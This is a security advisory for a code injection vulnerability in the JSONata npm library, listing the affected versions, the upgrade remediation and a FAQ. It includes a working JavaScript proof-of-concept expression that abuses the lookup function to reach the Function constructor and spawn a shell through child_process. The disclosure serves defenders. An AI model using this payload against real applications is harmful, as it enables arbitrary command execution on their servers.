GHSA-8gq3-vp5j-2grp: Code Injection
Impact
Before JSONata 2.2.0 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to a missing hasOwnProperty check in the lookup function: https://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705
This was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the 2.2.0 release, and ported in the 1.8.8 release.
PoC
js import jsonata from "jsonata";
const expression = jsonata( ( lookupSetter('proto')(constructor); defineGetter('l', constructor("return process.getBuiltinModule('childprocess').execSync('sh',{stdio:'inherit'}).toString()")); valueOf().l ) );
await expression.evaluate({});
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/jsonatato a version that resolves this vulnerability.Fixed in 2.2.0 - Upgrade
Upgrade
npm/jsonatato a version that resolves this vulnerability.Fixed in 1.8.8 - Upgrade
Upgrade
jsonatato a version that resolves this vulnerability.Fixed in 2.2.0Patch https://github.com/jsonata-js/jsonata/pull/794 - Upgrade
Upgrade
jsonatato a version that resolves this vulnerability.Fixed in 1.8.8Patch https://github.com/jsonata-js/jsonata/pull/794
Event History
Frequently Asked Questions
Which JSONata versions are affected and which releases contain the fix?
Versions before 2.2.0 are affected on the 2.x line, and versions before 1.8.8 are affected on the 1.x line. The fix is included in JSONata 2.2.0 and was ported to 1.8.8.
What does an attacker need to exploit this issue?
An attacker needs the ability to supply or influence a JSONata expression that the application evaluates. A crafted expression can exploit the missing hasOwnProperty check in the lookup function to execute arbitrary code.
How can I determine whether my application may be exposed?
Review whether the application evaluates JSONata expressions from untrusted or user-influenced sources, and check the installed npm/jsonata version. Deployments using versions earlier than 2.2.0 or 1.8.8 with attacker-controlled expressions may be exposed.